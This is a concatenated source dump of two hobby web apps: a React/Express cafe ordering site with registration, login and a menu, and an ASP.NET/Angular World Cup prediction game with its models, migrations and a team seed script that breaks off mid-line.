//console.log(typeof prop) if(copyData[prop] === "" || copyData[prop] === defaultIMG){ if(prop !== "confirmPassword") //attach error to emptyField property temp[prop].emptyField = `${prop} is required`; else{ temp["password"].emptyField = `conform your password please` } } } //console.log("temp var " + JSON.stringify(temp)); //update the FormErrors state setFormErrors(temp) //console.log("FormErrors var after setting : " + JSON.stringify(formErrors)) //return isValid; //set the state representing weather form inputs are valid setValid(isValid); setComp(comp + "1"); return; } //remove white spaces and check for length of name if(name.trim().length < 3){ //console.log("Name should be atleast 5 characters long"); temp.name.shortName = "Name should be atleast 3 characters long"; isValid = false; } //if name has integers for(let i = 0;i<name.length;i++){ //if not (not a number) === a number or is not a space if(!isNaN(name[i]) && name[i]!==" "){ //console.log("Name should not contain numbers") temp.name.nameNumber = "Name should not contain numbers"; isValid = false; break; } } //mobile number cannot contain letters for(let i = 0;i<mobNo.length;i++){ //if not a number === a letter if(isNaN(mobNo[i])){ //console.log("Mobile Number should not have alphabets") temp.mobNo.mobAlpha = "Mobile Number should not have alphabets" isValid = false; break; } } //email should have '@' and . followed by string let at = false; let dot = false; for(let i = 0;i<email.length;i++){ if(email[i] === '@'){ at = true; } if(email[i] === '.'){ //check if there is string after . console.log("email length is ...... : " + email.length) if(i+1 < email.length && isNaN(email[i+1]) === true){ dot = true; } } } //check for @ after searching entire string if(!at){ isValid = false; temp.email.atErr = "Email should contain @ symbol"; } if(!dot){ isValid = false; //console.log("Setting.....") temp.email.dotErr = "Email should contain . and string after that"; } //check for password and confirm password match if(password !== confirmPassword){ isValid = false; temp.password.donotMatchErr = "Passwords do not match"; }else{ //passwords match,check for length of passwords if(password.length<12){ isValid = false; temp.password.shortPass = "Password must be atleast 12 characters long"; }else{ //password is fine lenght,check for spaces in password as not allowed for(let i = 0;i<password.length;i++){ if(password[i] === " "){ isValid = false; temp.password.spaceErr = "Spaces in password not allowed"; break; } } } } //check for format of image uploaded let imgNameArr = img.name.split("."); let fileType = imgNameArr[imgNameArr.length - 1]; //console.log("File type " + fileType); if(fileType === "png" || fileType === "jpeg" || fileType === 'jpg'){ }else{ temp.img.typeErr = "Image should be of the format png or jpeg"; isValid = false; } //set the formErrors state //console.log("Temp variable : " + JSON.stringify(temp)); setFormErrors(temp); //set isValid; //console.log("setting valid..") setValid(isValid); //state that changes when user clicks submit button everytime so that useEffect kicks in.This is because setState is async and doesnt happen instantaneously,hence we need to use useEffect to trigger submission of form if all input fields are valid setComp(comp + "1"); } function onChangeHandler(event){ //validate the form data using regex switch (event.target.id) { case "name-input": setName(event.target.value); break; case "org-input": setOrgName(event.target.value); break; case "empid-input": setEmpID(event.target.value); break; case "mobno-input": setMobNo(event.target.value); break; case "email-input": setEmail(event.target.value); break; case "pass-input": setPassword(event.target.value); break; case "confirm-pass-input": setConfirmPassword(event.target.value); break; case "img-input": setImg(event.target.files[0]); console.log(event.target.files[0].name) //creating local copy url of the image uploaded setLocalImgUrl(window.URL.createObjectURL(event.target.files[0])) break; default: break; } } return( <div className="container-registration"> {load} <div className="regWrapper"> <div className='regform-content-left'> <PreviewForm previewData={[name,orgName,empID,mobNo,email,localImgUrl]}/> </div> <div className="regform-content-right"> <form> <h1 className="register">Register Now!</h1> <div className="input-field"> <input className="reg" required={true} type="text" value={name} placeholder="Name" onChange={(event)=>onChangeHandler(event)} id="name-input"/> </div> <div className="input-field"> <input className="reg" required={true} type="text" value={orgName} placeholder="Organization Name" onChange={(event)=>onChangeHandler(event)} id="org-input"/> </div> <div className="input-field"> <input className="reg" required={true} type="text" value={empID} placeholder="Employee ID" onChange={(event)=>onChangeHandler(event)} id="empid-input"/> </div> <div className="input-field"> <input className="reg" required={true} type="text" value={mobNo} placeholder="Mobile Number" onChange={(event)=>onChangeHandler(event)} id="mobno-input"/> </div> <div className="input-field"> <input className="reg" required={true} type="text" value={email} placeholder="Email" onChange={(event)=>onChangeHandler(event)} id="email-input"/> </div> <div className="input-field"> <input className="reg" required={true} type="text" type='password' value={password} placeholder="<PASSWORD>" onChange={(event)=>onChangeHandler(event)} id="pass-input"/> </div> <div className="input-field"> <input className="reg" required={true} type="text" type='password' value={confirmPassword} placeholder="Confirm Password" onChange={(event)=>onChangeHandler(event)} id="confirm-pass-input"/> </div> Upload ID Card <div> <input className="upload" required={true} type="file" onChange={(event)=>onChangeHandler(event)} id="img-input"/> </div> <input type = "button" className="reg" className='submit' onClick={(event)=>formValidation(event)} value="SIGN UP"></input> <br/> <Link className="already" to="/signin">Already Have an account?</Link> </form> </div> </div> </div> ) } export default RegForm;<file_sep>const express = require("express"); const router = express.Router() const mongoose = require("mongoose"); //ref to the collection const User = mongoose.model("User"); //password hashing const bcrypt = require('bcryptjs'); //token const jwt = require("jsonwebtoken"); const signature = process.env.JWT_SECRET; router.post("/signup",(req,res)=>{ console.log("Signup route..."); //destructure from body const {name,orgName,empID,mobNo,email,password,imgURL} = req.body; console.log("this is the req.body " + req.body); console.log("Searching in db...."); //search in db collection User.findOne({empID:empID}).then((dbUser)=>{ //if found if(dbUser){ console.log("user already in db :("); res.json({error:"User already exists in db",message:"User with this details already exists"}) } else{ console.log("Creating user.....") //gen uid => username const regID = new Date().valueOf().toString(); console.log("regid created is " + regID); //hash password bcrypt.hash(password,12).then((hashedPassword)=>{ //generate the date in dd/mm/yyyy let currDate = new Date().toLocaleDateString('en-GB'); console.log("reg date : " + currDate) //save data to db const newUser = new User({ name, orgName, empID, mobNo, email, imgURL, regID, imgURL, password:<PASSWORD>, regDate:currDate }); newUser.save().then((x)=>{ console.log("New user created!") //create json web token for auth the user jwt.sign({signedRegID:x.regID},signature,(err,temp)=>{ if(err){ console.og(err); res.json({error:"Server is busy at the moment...",user:null}) } else{ req.user = x; res.json({message:"Successful Registration",note:"redirecting to login page...",regID:regID,success:true,user:x,token:temp}) } }) }).catch(err=>{ console.log("unable to create new user : " + "because of the error " + err); res.json({success:false,error:"Unable to register",message:"try again..",user:null}) }) }).catch(err=>{ //dev error console.log(err); res.json({error:"Server is busy at the moment...",user:null}) }) } }) }) router.post('/login',(req,res)=>{ console.log("Signing in route..."); //const {username,password,rememberMe} = req.body; const {username,password} = req.body; //console.log(req.body); if(username == "" || password == ""){ res.json({message:"Please fill all the fields",success:false}); return; } //search db : username : empID,password : <PASSWORD> user wants User.findOne({empID:username}).then(dbUser=>{ //if user not present if(!dbUser){ res.status(422).json({error:"Incorrect employee ID or password",message:"Create new account or Enter valid employee ID and password"}) }else{ //compare password of user present in db and user logging in bcrypt.compare(password,dbUser.password).then((match)=>{ if(match){ console.log("Matched password and username") //attach user with token so tha they can access protected resource like menu let token = null; jwt.sign({signedRegID:dbUser.empID},signature,(err,temp)=>{ if(err){ //error for dev console.log(err); res.json({error:"Server is busy at the moment...",user:null}) } else{ console.log("Successful sign in...") token = temp; //attach rememebr me bool to the client cookie //res.cookie("doRememebrMe",rememberMe,{maxAge:oneYearToSeconds}); //attach user data to req req.user = dbUser; res.json({message:"Successfully Signed In",token:token,success:true,user : req.user}) } }) }else{ res.status(422).json({error:"Incorrect employee ID or password",message:"Create new account or Enter valid employee ID and password",success:false,user:null}) } }).catch(err=>{console.log(err);res.json({error:"Server is busy at the moment...",user:null})}) } }).catch(err=>{console.log(err);res.json({error:"Server is busy at the moment...",user:null})}) }) module.exports = router;<file_sep>import {useState,useEffect} from 'react'; import {useHistory} from 'react-router-dom'; import FoodCards from "../FoodCards/FoodCards"; import "./Menu.css"; import Footer from './MenuFooter'; //add quantity feature function Menu(){ const history = useHistory(); const [order,setOrder] = useState([]); const [menu,setMenu] = useState([]); const [showCheckout, setCheckout] = useState(false); function placeOrder(){ //let fd = {name:null,price:null}; let cost = 0; for(let i = 0;i<menu.length;i++){ for(let j = 0; j<menu[i].items.length; j++){ cost += menu[i].items[j].quantity * menu[i].items[j].price; } } history.push('/payment/' + cost); } //get the menu from server useEffect(()=>{ fetch("/menu", {headers : {method:"GET",'Accept': 'application/json'}}).then(res=>res.json()).then((items)=>{ let temp = []; for(let i = 0; i < items.menu.length; i++){ for(let j = 0; j < items.menu[i].items.length; j++) items.menu[i].items[j].quantity = 0; temp.push(items.menu[i]); } setMenu(temp); }).catch(err => { alert(err); console.log(err); })},[]) function updateCheckoutFooter(){ let cost = 0; for(let i = 0;i<menu.length;i++){ for(let j = 0; j<menu[i].items.length; j++){ cost += menu[i].items[j].quantity * menu[i].items[j].price; } } if(cost > 0){ setCheckout(true) }else{ setCheckout(false) } } const addItem = (product)=>{ const category = menu.findIndex(p => p.category === product.category); if(category >= 0){ const item = menu[category].items.findIndex(p => p.name === product.text); if(item >= 0){ //let copy = menu; menu[category].items[item].quantity += 1; setMenu(menu); updateCheckoutFooter() const cartIndex = order.findIndex(p => p.name === product.text); if(cartIndex >= 0){ const cart = order.slice(); const existingProduct = cart[cartIndex]; const updatedProduct = {...existingProduct, quantity: existingProduct.quantity + 1}; cart[cartIndex] = updatedProduct setOrder(cart) } else{ const newItem = menu[category].items[item]; newItem.quantity = 1; setOrder([...order, newItem]) } } else{ console.log("Invalid Product"); // A product which is not in the menu has been passed (possibly by manually editing the webpage) } } else{ console.log("Invalid Product"); // A product which is not in the menu has been passed (possibly by manually editing the webpage) } } const removeItem = (product)=>{ const category = menu.findIndex(p => p.category === product.category); if(category >= 0){ const item = menu[category].items.findIndex(p => p.name === product.text); if(item >= 0){ if(menu[category].items[item].quantity){ (menu[category].items[item].quantity -= 1) <= 0? console.log(">"):console.log(">"); setMenu(menu); updateCheckoutFooter(); const cartIndex = order.findIndex(p => p.name === product.text); if(cartIndex >= 0){ const cart = order.slice(); const existingProduct = cart[cartIndex]; const updatedProduct = {...existingProduct, quantity: existingProduct.quantity - 1}; cart[cartIndex] = updatedProduct setOrder(cart) } } } else{ console.log("Invalid Product"); // A product which is not in the menu has been passed (possibly by manually editing the webpage) } } else{ console.log("Invalid Product"); // A product which is not in the menu has been passed (possibly by manually editing the webpage) } } return( <div> {localStorage.getItem("jwt")===null? history.push('signin'): <div className="greet"> <h1 className="user-greet">Today's Menu</h1> </div> } {showCheckout?<Footer menu={menu} orderFun = {placeOrder}/> : <></>} {menu.length === 0? <div className="progress"> <div className="indeterminate"></div> </div>: <div className="menu"> {menu.map((category,id)=>{return <FoodCards key={id} menu={category} addItem={addItem} removeItem={removeItem}/>})} </div> } </div> ) } export default Menu;<file_sep>import {useEffect,useContext} from 'react'; import {Route,Switch,useHistory} from 'react-router-dom'; import Menu from './Menu/Menu'; import SuccessPage from './Success/SuccessPage' import Payment from "./Checkout/Payment"; import {UserDetailsContext} from "../App" import SignIn from './Auth/Login/SignIn'; import RegForm from './Auth/Registration/RegForm'; import Profile from './Profile/Profile'; //render component based on the nav link function Routing(){ //grab dispatch and state from context provider const {state,dispatch} = useContext(UserDetailsContext); const history = useHistory(); //on mounting of component check if user data already is availabe in localstorage useEffect(() => { //grab user data from localstorage let userDetails = null; if(localStorage.getItem("user") === "undefined"){ userDetails = null; }else{ userDetails = JSON.parse(localStorage.getItem("user")); } //update redux state dispatch({type:"SET_USER_DETAILS",payload:userDetails}) //based on the userData obtained from localstorage if(userDetails === null){ //redirect to sign in page history.push('/signin') } else{ //redirect to menu //history.push('/menu') } }, []) return( <Switch> <Route path = "/signin" component={SignIn}/> <Route path = '/signup' component={RegForm}/> <Route path = '/successpage/:id/:empid' component={SuccessPage}/> <Route path = "/menu" component={Menu}/> <Route path = "/payment/:amount" component={Payment}/> <Route path = "/profile" component={Profile}/> </Switch> ) } export default Routing<file_sep>import {useState,useContext} from 'react'; import {Link,useHistory} from 'react-router-dom'; import {UserDetailsContext} from "../../../App" import { toast } from 'react-toastify'; import "./Signin.css" toast.configure(); function SignIn(){ const [username, setUsername] = useState(""); const [password, setPassword] = useState(""); const [load,setLoad] = useState(""); const [rem,setRem] = useState(localStorage.getItem("rememberMe") === null?false:JSON.parse(localStorage.getItem("rememberMe")).bool); const history = useHistory(); //destructure the state and dispatch function from context provider's value const {state,dispatch} = useContext(UserDetailsContext); function onChangeHandler(event) { if(event.target.name === "username"){ setUsername(event.target.value); }else if(event.target.name === 'password'){ setPassword(event.target.value); } } //func to remeber me function rememebrMeFunc(e){ setRem(e.target.checked); console.log(e.target.checked); localStorage.setItem("rememberMe",JSON.stringify({bool:e.target.checked})) } function onClickHandler(event){ //prevent default action of reloading event.preventDefault() const reqOptions = { method:"POST", headers:{'Content-Type': 'application/json'}, body:JSON.stringify({ username, password }) }; //console.log("Trying to fetch...") fetch("/login",reqOptions).then(res=>{return res.json()}).then((data)=>{ //console.log("Made fetch req and recieved res") //loading setLoad(<div className="progress"> <div className="indeterminate"></div> </div>) //console.log(data); if(data.success){ //make a toast with success massage toast.success(data.message); //store token and user info present in response in local storage localStorage.setItem("jwt",data.token); //console.log(data.user); localStorage.setItem("user",JSON.stringify(data.user)); //console.log("Successfull login.....") //only dispatch is allowed to change state by dispatching action //store user data in redux state dispatch({type:"SET_USER_DETAILS",payload:data.user}) //navigate user to menu history.push('/menu'); }else{ setLoad(null); //make toast with failure message toast.error(data.message); console.log(data.error + " : " + data.message); } }); } return( <div className="container-login"> {load} <div className="loginWrapper"> <div className='form-content-left'> <img className='form-img' src='/cafeLogo.jpg' alt="logo"/> </div> <div className="form-content-right"> <form> <h1 className="login">Login</h1> <div className="input-field"> <input type="text" value ={username} onChange={(event)=>{onChangeHandler(event)}} name="username" placeholder="<NAME>"/> </div> <div className="input-field"> <input type="<PASSWORD>" value={password} onChange={(event)=>{onChangeHandler(event)}} name="password" placeholder="<PASSWORD>"/> </div> <div className="input-field"> <button className="submit" onClick={(event)=>onClickHandler(event)}>SignIn</button> </div> <br/> <span className="remember">Remember Me</span> <br/> <input className="flipswitch" type="checkbox" checked={rem} onChange={(e)=>rememebrMeFunc(e)}/> <br/> <br/> <Link className="already" to="/signup">Dont have an account?</Link> </form> </div> </div> </div> ) } export default SignIn;
c9e05ccefd1b63ed5f37ace6202ed2b66556308a
[ "Markdown", "JavaScript" ]
15
Markdown
Dhruval360/Full-Stack-Hackathon-HackerRank
16efd61f81afa68812fcd5bb332347429cd14e8d
202198e942aac26ee58a4ab1089560af49283544
refs/heads/master
<file_sep>const gulp = require('gulp') const webserver = require('gulp-webserver') const urlTool = require('url') const qs = require('qs') //qs => querystring gulp.task('mock', function () { gulp.src('.') .pipe(webserver({ host: 'localhost', port: 8090, livereload: true, //中间键,有三个参数,request,response,next middleware: function (req, res, next) { const method = req.method const pathName = urlTool.parse(req.url) //console.log(method, url, pathName, params) console.log(pathName) //统一对所有请求允许跨域 res.setHeader('Access-Control-Allow-Origin', '*') if (method === 'GET') { if (pathName.pathname === '/abChina') { res.setHeader('content-type', 'application/json;charset=utf-8;') res.end(require('fs').readFileSync('data.json')) } else { res.end('No Such') } } } })) })
5fa00e8a2f097019caaa218628277e6963a7ac5a
[ "JavaScript" ]
1
JavaScript
xiaohei35/abchia
c35c9b043889f1fdf81a46d7530a9efb5cd18ec9
bc7d9d2525d969bfbb3aa55c5c49c90e9e84e5e4
refs/heads/master
<repo_name>SochaKacper/zadanietablice<file_sep>/Cw10 str66/Cw10 str66/Source.cpp #include <iostream> #include <string> using namespace std; int i; int main() { string tekst; int spacje; spacje = 0; cout << "Napisz zdanie: " << endl; getline(cin, tekst); for (i = 0; i < tekst.size(); i++) { if (tekst[i] == ' ') spacje++; } cout << "W tekscie jest " << spacje << " spacjie lub spacji "; system("pause"); return 0; }<file_sep>/Cw11 str68/Cw11 str68/Source.cpp #include <iostream> using namespace std; // Jest program ktory podlicza ile liter ma dany wyraz // Chodzi nam konkretnie o litery a,b,c // Do instrukcji wyboru bedziemy wprowadzac wyraz ktory // poda uzytkownik // Przyklad: Uzytkownik podaje wyraz "adam" // Program zwraca komunikat np. Liter "a" w tym wyrazie jest: 2 char wyraz[100]; void Switch(char wyraz[100]) { int liczba_a = 0; int liczba_b = 0; int liczba_c = 0; int dlugosc = strlen(wyraz); // dlugosc wyrazu - adam = 4, janek = 5 for (int i = 0; i < dlugosc; i++) { // tablice 100 // [0] "a" // [1] "d" // [2] "a" // [3] "m" switch ((int)wyraz[i]) { case 'a': liczba_a++; break; case 'b': liczba_b++; break; case 'c': liczba_c++; break; default: cout << "Nie ma ani litery a ani b ani c" << endl; break; } } cout << "Liczba liter a w tym wyrazie to: " << liczba_a; cout << "Liczba liter b w tym wyrazie to: " << liczba_b; cout << "Liczba liter c w tym wyrazie to: " << liczba_c; } int main() { cout << "Wprowadz wyraz max 100 znakow" << endl; cin >> wyraz; Switch(wyraz); return 0; }<file_sep>/program do spacji.cpp #include <iostream> using namespace std: int main() { char tekst[255]; int spacje; spacje = 0; cin >> tekst; for (i = 0; i < strlen(tekst); i++) { if (tekst[i] == ' ') spacje++; } cout << "W " << tekst << " mamy " << spacje; return 0; }
ca88832b111e9a164e48d337d3999296117feafd
[ "C++" ]
3
C++
SochaKacper/zadanietablice
a27c165333ecc2b14e5fa885e5562e4bed6b4abd
a59771f953ccfd1bf273547931e098b75f9b993f
refs/heads/master
<file_sep>'use strict'; window.app.factory('Picks', ['$resource', function ($resource) { return $resource('api/Picks', { }, { 'update': { method: 'PUT' } }); }]); window.app.controller('PicksCtrl', [ '$scope', 'Picks', function ($scope, Picks) { $scope.picks = Picks.query({}, function(data) { angular.forEach(data, function(item) { item.options = []; item.options.push({ name: 'Draw', val: 38 }); item.options.push({ name: item.MatchTeam1Name, val: item.MatchTeam1Id }); item.options.push({ name: item.MatchTeam2Name, val: item.MatchTeam2Id }); }); }); $scope.savePicks = function() { Picks.update({}, $scope.picks); } } ]);<file_sep>var app = angular.module('wcf', ['ngRoute', 'ngResource']) .config([ '$routeProvider', function($routeProvider) { console.log("in"); $routeProvider .when('/', { templateUrl: 'app/home.tpl.html', controller: 'HomeCtrl' }) .when('/Picks', { templateUrl: 'app/picks.tpl.html', controller: 'PicksCtrl' }) .when('/Table', { templateUrl: 'app/table.tpl.html', controller: 'TableCtrl' }) .otherwise({ redirectTo: '/' }); } ]); <file_sep>'use strict'; 'use strict'; window.app.factory('Table', ['$resource', function ($resource) { return $resource('api/Table', { }); }]); window.app.controller('TableCtrl', [ '$scope', 'Table', function ($scope, Table) { $scope.ranks = Table.query(); } ]);<file_sep>using AutoMapper; using WCF.Controllers; using WCF.Models; namespace WCF { public class AutoMapperConfig { public static void ConfigureAutoMapper() { Mapper.CreateMap<Prediction, PredictionDto>(); Mapper.CreateMap<ApplicationUser, Rank>(); } } }<file_sep>namespace WCF.Migrations { using System; using System.Data.Entity.Migrations; public partial class MatchVenueDets : DbMigration { public override void Up() { AddColumn("dbo.Matches", "Venue", c => c.String()); AddColumn("dbo.Matches", "City", c => c.String()); } public override void Down() { DropColumn("dbo.Matches", "City"); DropColumn("dbo.Matches", "Venue"); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Runtime.InteropServices; using System.Web; namespace WCF.Models { public class Match { public int Id { get; set; } public string Name { get; set; } public DateTime On { get; set; } public int Team1Id { get; set; } public int Team2Id { get; set; } public string Venue { get; set; } public string City { get; set; } public virtual Team Team1 { get; set; } public virtual Team Team2 { get; set; } } }<file_sep>namespace WCF.Migrations { using System; using System.Data.Entity.Migrations; public partial class Init : DbMigration { public override void Up() { CreateTable( "dbo.Matches", c => new { Id = c.Int(nullable: false, identity: true), On = c.DateTime(nullable: false), Team1_Id = c.Int(), Team2_Id = c.Int(), }) .PrimaryKey(t => t.Id) .ForeignKey("dbo.Teams", t => t.Team1_Id) .ForeignKey("dbo.Teams", t => t.Team2_Id) .Index(t => t.Team1_Id) .Index(t => t.Team2_Id); CreateTable( "dbo.Teams", c => new { Id = c.Int(nullable: false, identity: true), Name = c.String(), }) .PrimaryKey(t => t.Id); CreateTable( "dbo.Predictions", c => new { Id = c.Int(nullable: false, identity: true), Match_Id = c.Int(), Winner_Id = c.Int(), ApplicationUser_Id = c.String(maxLength: 128), }) .PrimaryKey(t => t.Id) .ForeignKey("dbo.Matches", t => t.Match_Id) .ForeignKey("dbo.Teams", t => t.Winner_Id) .ForeignKey("dbo.AspNetUsers", t => t.ApplicationUser_Id) .Index(t => t.Match_Id) .Index(t => t.Winner_Id) .Index(t => t.ApplicationUser_Id); } public override void Down() { DropForeignKey("dbo.Predictions", "Winner_Id", "dbo.Teams"); DropForeignKey("dbo.Predictions", "Match_Id", "dbo.Matches"); DropForeignKey("dbo.Matches", "Team2_Id", "dbo.Teams"); DropForeignKey("dbo.Matches", "Team1_Id", "dbo.Teams"); DropIndex("dbo.Predictions", new[] { "Winner_Id" }); DropIndex("dbo.Predictions", new[] { "Match_Id" }); DropIndex("dbo.Matches", new[] { "Team2_Id" }); DropIndex("dbo.Matches", new[] { "Team1_Id" }); DropTable("dbo.Predictions"); DropTable("dbo.Teams"); DropTable("dbo.Matches"); } } } <file_sep>namespace WCF.Models { public class PredictionDto { public int Id { get; set; } public int MatchId { get; set; } public int? WinnerId { get; set; } public string MatchTeam1Name { get; set; } public string MatchTeam2Name { get; set; } public int MatchTeam1Id { get; set; } public int MatchTeam2Id { get; set; } public string MatchTeam1FlagFileName { get; set; } public string MatchTeam2FlagFileName { get; set; } } }<file_sep>namespace WCF.Migrations { using System; using System.Data.Entity.Migrations; public partial class MatchSee : DbMigration { public override void Up() { DropForeignKey("dbo.Matches", "Team1_Id", "dbo.Teams"); DropForeignKey("dbo.Matches", "Team2_Id", "dbo.Teams"); DropIndex("dbo.Matches", new[] { "Team1_Id" }); DropIndex("dbo.Matches", new[] { "Team2_Id" }); RenameColumn(table: "dbo.Matches", name: "Team1_Id", newName: "Team1Id"); RenameColumn(table: "dbo.Matches", name: "Team2_Id", newName: "Team2Id"); AddColumn("dbo.Matches", "Name", c => c.String()); AlterColumn("dbo.Matches", "Team1Id", c => c.Int(nullable: false)); AlterColumn("dbo.Matches", "Team2Id", c => c.Int(nullable: false)); CreateIndex("dbo.Matches", "Team1Id"); CreateIndex("dbo.Matches", "Team2Id"); AddForeignKey("dbo.Matches", "Team1Id", "dbo.Teams", "Id", cascadeDelete: false); AddForeignKey("dbo.Matches", "Team2Id", "dbo.Teams", "Id", cascadeDelete: false); } public override void Down() { DropForeignKey("dbo.Matches", "Team2Id", "dbo.Teams"); DropForeignKey("dbo.Matches", "Team1Id", "dbo.Teams"); DropIndex("dbo.Matches", new[] { "Team2Id" }); DropIndex("dbo.Matches", new[] { "Team1Id" }); AlterColumn("dbo.Matches", "Team2Id", c => c.Int()); AlterColumn("dbo.Matches", "Team1Id", c => c.Int()); DropColumn("dbo.Matches", "Name"); RenameColumn(table: "dbo.Matches", name: "Team2Id", newName: "Team2_Id"); RenameColumn(table: "dbo.Matches", name: "Team1Id", newName: "Team1_Id"); CreateIndex("dbo.Matches", "Team2_Id"); CreateIndex("dbo.Matches", "Team1_Id"); AddForeignKey("dbo.Matches", "Team2_Id", "dbo.Teams", "Id"); AddForeignKey("dbo.Matches", "Team1_Id", "dbo.Teams", "Id"); } } } <file_sep>'use strict'; window.app.controller('HomeCtrl', [ '$scope', function ($scope) { console.log("in home"); $scope.name = 'World'; } ]);<file_sep>using WCF.Models; namespace WCF.Migrations { using System; using System.Data.Entity; using System.Data.Entity.Migrations; using System.Linq; internal sealed class Configuration : DbMigrationsConfiguration<WCF.Models.ApplicationDbContext> { public Configuration() { AutomaticMigrationsEnabled = false; } protected override void Seed(WCF.Models.ApplicationDbContext context) { //context.Teams.AddOrUpdate( // t=>t.Name, // new Team(){Name = "Draw"}, // new Team(){Name = "A"}, // new Team(){Name = "B"}, // new Team(){Name = "C"}, // new Team(){Name = "D"} // ); //context.SaveChanges(); //var first = context.Teams.First(t => t.Name == "A"); //var second = context.Teams.First(t => t.Name == "B"); //var third = context.Teams.First(t => t.Name == "C"); //var fourth = context.Teams.First(t => t.Name == "D"); //context.Matches.AddOrUpdate( // m=>m.Name, // new Match() {Name = "G1", On = DateTime.Now, Team1Id = first.Id, Team2Id = second.Id}, // new Match() {Name = "G2", On = DateTime.Now, Team1Id = third.Id, Team2Id = fourth.Id} // ); // This method will be called after migrating to the latest version. // You can use the DbSet<T>.AddOrUpdate() helper extension method // to avoid creating duplicate seed data. E.g. // // context.People.AddOrUpdate( // p => p.FullName, // new Person { FullName = "<NAME>" }, // new Person { FullName = "<NAME>" }, // new Person { FullName = "<NAME>" } // ); // } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Web; namespace WCF.Models { public class Prediction { public int Id { get; set; } public int MatchId { get; set; } public int? WinnerId { get; set; } public string ApplicationUserId { get; set; } public virtual Match Match { get; set; } public virtual Team Winner { get; set; } public virtual ApplicationUser User { get; set; } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Net.Http; using System.Web.Http; namespace WCF.Controllers { public class TableController : ApiController { public List<Rank> Get() { var wcfManager = new WcfManager(); return wcfManager.GetTable(); } } public class Rank { public string UserName { get; set; } public int Score { get; set; } } } <file_sep>namespace WCF.Migrations { using System; using System.Data.Entity.Migrations; public partial class PredUsersRel : DbMigration { public override void Up() { DropForeignKey("dbo.Predictions", "Match_Id", "dbo.Matches"); DropIndex("dbo.Predictions", new[] { "Match_Id" }); RenameColumn(table: "dbo.Predictions", name: "Match_Id", newName: "MatchId"); RenameColumn(table: "dbo.Predictions", name: "Winner_Id", newName: "WinnerId"); RenameColumn(table: "dbo.Predictions", name: "ApplicationUser_Id", newName: "ApplicationUserId"); RenameIndex(table: "dbo.Predictions", name: "IX_Winner_Id", newName: "IX_WinnerId"); RenameIndex(table: "dbo.Predictions", name: "IX_ApplicationUser_Id", newName: "IX_ApplicationUserId"); AlterColumn("dbo.Predictions", "MatchId", c => c.Int(nullable: false)); CreateIndex("dbo.Predictions", "MatchId"); AddForeignKey("dbo.Predictions", "MatchId", "dbo.Matches", "Id", cascadeDelete: true); } public override void Down() { DropForeignKey("dbo.Predictions", "MatchId", "dbo.Matches"); DropIndex("dbo.Predictions", new[] { "MatchId" }); AlterColumn("dbo.Predictions", "MatchId", c => c.Int()); RenameIndex(table: "dbo.Predictions", name: "IX_ApplicationUserId", newName: "IX_ApplicationUser_Id"); RenameIndex(table: "dbo.Predictions", name: "IX_WinnerId", newName: "IX_Winner_Id"); RenameColumn(table: "dbo.Predictions", name: "ApplicationUserId", newName: "ApplicationUser_Id"); RenameColumn(table: "dbo.Predictions", name: "WinnerId", newName: "Winner_Id"); RenameColumn(table: "dbo.Predictions", name: "MatchId", newName: "Match_Id"); CreateIndex("dbo.Predictions", "Match_Id"); AddForeignKey("dbo.Predictions", "Match_Id", "dbo.Matches", "Id"); } } } <file_sep>using System.Collections.Generic; using System.Net; using System.Net.Http; using System.Web.Http; using Microsoft.AspNet.Identity; using WCF.Models; namespace WCF.Controllers { public class PicksController : ApiController { public List<PredictionDto> Get() { var userId = User.Identity.GetUserId(); var wcfManager = new WcfManager(); return wcfManager.GetPicks(userId); } public void Put(List<PredictionDto> picks) { var wcfManager = new WcfManager(); wcfManager.UpdatePicks(picks); } } } <file_sep>using System.Collections.Generic; using System.Data.Entity; using Microsoft.AspNet.Identity.EntityFramework; namespace WCF.Models { // You can add profile data for the user by adding more properties to your ApplicationUser class, please visit http://go.microsoft.com/fwlink/?LinkID=317594 to learn more. public class ApplicationUser : IdentityUser { public long FbId { get; set; } public int Score { get; set; } public virtual ICollection<Prediction> Predictions { get; set; } } public class ApplicationDbContext : IdentityDbContext<ApplicationUser> { public ApplicationDbContext() : base("DefaultConnection") { } public DbSet<Team> Teams { get; set; } public DbSet<Match> Matches { get; set; } public DbSet<Prediction> Predictions { get; set; } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.Mvc; using Microsoft.AspNet.Identity; using Microsoft.AspNet.Identity.EntityFramework; using WCF.Models; namespace WCF.Controllers { [Authorize] public class HomeController : Controller { public ActionResult Index() { var userId = User.Identity.GetUserId(); var userManager = new UserManager<ApplicationUser>(new UserStore<ApplicationUser>(new ApplicationDbContext())); var user = userManager.FindById(userId); ViewBag.PicUrl = string.Format("https://graph.facebook.com/{0}/picture", user.FbId); return View(); } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using AutoMapper; using Microsoft.AspNet.Identity; using Microsoft.AspNet.Identity.EntityFramework; using WCF.Models; namespace WCF.Controllers { public class WcfManager { ApplicationDbContext context = new ApplicationDbContext(); public List<PredictionDto> GetPicks(string userId) { return Mapper.Map<List<Prediction>, List<PredictionDto>>(context.Predictions.Where(p => p.ApplicationUserId == userId).ToList()); } public void UpdatePicks(List<PredictionDto> picks) { foreach (var pick in picks) { var prediction = context.Predictions.Find(pick.Id); prediction.WinnerId = pick.WinnerId; context.SaveChanges(); } } public List<Rank> GetTable() { var applicationDbContext = new ApplicationDbContext(); var userManager = new UserManager<ApplicationUser>(new UserStore<ApplicationUser>(applicationDbContext)); return Mapper.Map<List<ApplicationUser>, List<Rank>>(userManager.Users.ToList()); } } }<file_sep>--insert into Teams values ('Brazil', 'A', 'Brazil.png') --insert into Teams values ('Croatia', 'A', 'Croatia.png') --insert into Teams values ('Mexico', 'A', 'Mexico.png') --insert into Teams values ('Cameroon', 'A', 'Cameroon.png') --insert into Teams values ('Spain', 'B', 'Spain.png') --insert into Teams values ('Netherlands', 'B', 'Netherlands.png') --insert into Teams values ('Chile', 'B', 'Chile.png') --insert into Teams values ('Australia', 'B', 'Australia.png') --insert into Teams values ('Colombia', 'C', 'Colombia.png') --insert into Teams values ('Greece', 'C', 'Greece.png') --insert into Teams values ('Cote''dIvoire', 'C', 'Cote-dIvoire.png') --insert into Teams values ('Japan', 'C', 'Japan.png') --insert into Teams values ('Uruguay', 'D', 'Uruguay.png') --insert into Teams values ('Costa Rica', 'D', 'Costa-Rica.png') --insert into Teams values ('England', 'D', 'England.png') --insert into Teams values ('Italy', 'D', 